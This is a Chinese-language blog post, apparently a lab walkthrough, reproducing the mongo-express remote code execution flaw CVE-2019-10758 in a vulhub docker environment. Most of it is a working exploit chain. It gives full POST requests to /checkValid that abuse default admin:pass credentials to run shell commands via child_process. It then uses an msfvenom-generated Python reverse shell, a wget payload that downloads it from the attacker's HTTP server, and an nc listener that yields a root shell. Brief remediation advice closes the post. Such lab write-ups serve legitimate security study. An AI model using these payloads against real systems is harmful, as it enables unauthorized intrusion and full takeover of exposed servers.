mongo-express远程代码执行(CVE-2019-10758)漏洞复现(msfvenom/wget,反弹shell)

mongo-express

mongo-express是一个MongoDB的Admin Web管理界面,基于NodeJS、Express、Bootstrap3开源编写

漏洞介绍

在开启了端口8081后,攻击者可以直接访问,而目标服务器上没有修改默认的登录密码admin/pass,则攻击者可以远程执行node.js代码

复现环境

mongo-express 0.53.0 
MongoDB Version 3.4.24

漏洞环境搭建

采用github开源docker漏洞环境搭建而成
项目地址:

https://github.com/vulhub/vulhub/tree/master/mongo-express/CVE-2019-10758

进入具体漏洞环境,执行如下命令启动一个0.53.0版本的mongo-express:

cd vulhub-master/mango-express/CVE-2019-10758
docker-compose build
docker-compose up -d

在这里插入图片描述

启动成功后,访问
ip:8081
出现如下界面表示搭建成功
在这里插入图片描述

漏洞复现

  • 创建目录

抓包发送如下数据包执行代码,在tmp目录下创建success目录

POST /checkValid HTTP/1.1
Host: 192.168.0.113:8081
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Authorization: Basic YWRtaW46cGFzcw==
Content-Type: application/x-www-form-urlencoded
Content-Length: 121


document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("touch /tmp/success")

其中Authorization: Basic YWRtaW46cGFzcw== 经base64解码为Authorization:
Basic admin:pass

通过BurpSuite进行抓包,发送如下数据包
在这里插入图片描述

进入docker中创建的web环境中查看/tmp/目录,可以发现成功创建了success目录

docker-compose exec web ls /tmp

或者获取一个bash shell
docker-compose exec web /bin/bash

在这里插入图片描述
在这里插入图片描述

  • 执行命令反弹shell

思路:
在kali上使用msf生成一个反弹shell.py,开启pythonHTTP服务器供靶机下载
靶机上,通过wget下载shell.py,在利用命令执行漏洞执行这个文件,反弹一个shell给kali

操作步骤
kali上
因为知道靶机web环境中存在python环境,所以创建一个python的反弹shell

msfvenom -p cmd/unix/reverse_python LHOST=192.168.0.109 LPORT=4444 -f raw > shell.py

在这里插入图片描述

运行python HTTP服务器,攻击者将从此服务器上下载shell.py

python -m SimpleHTTPServer

在这里插入图片描述

靶机上
攻击者执行命令,下载Python服务器上的shell.py,保存/tmp/shell
poc如下

POST /checkValid HTTP/1.1
Host: 192.168.0.113:8081
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Authorization: Basic YWRtaW46cGFzcw==
Content-Type: application/x-www-form-urlencoded
Content-Length: 121


document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("wget http://192.168.0.109:8000/shell.py -O /tmp/shell")

下载成功
在这里插入图片描述

kali上监听4444端口

nc -lvp 4444

再次发包命令执行,执行shell文件

POST /checkValid HTTP/1.1
Host: 192.168.0.113:8081
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Authorization: Basic YWRtaW46cGFzcw==
Content-Type: application/x-www-form-urlencoded
Content-Length: 121


document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("bash /tmp/shell")

在这里插入图片描述

反弹shell成功,获得的是root权限
在这里插入图片描述

修复建议

1.及时升级漏洞组件
2.不要使MongoExpres服务暴露在公网上
3.修改默认登录密码admin:pass

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值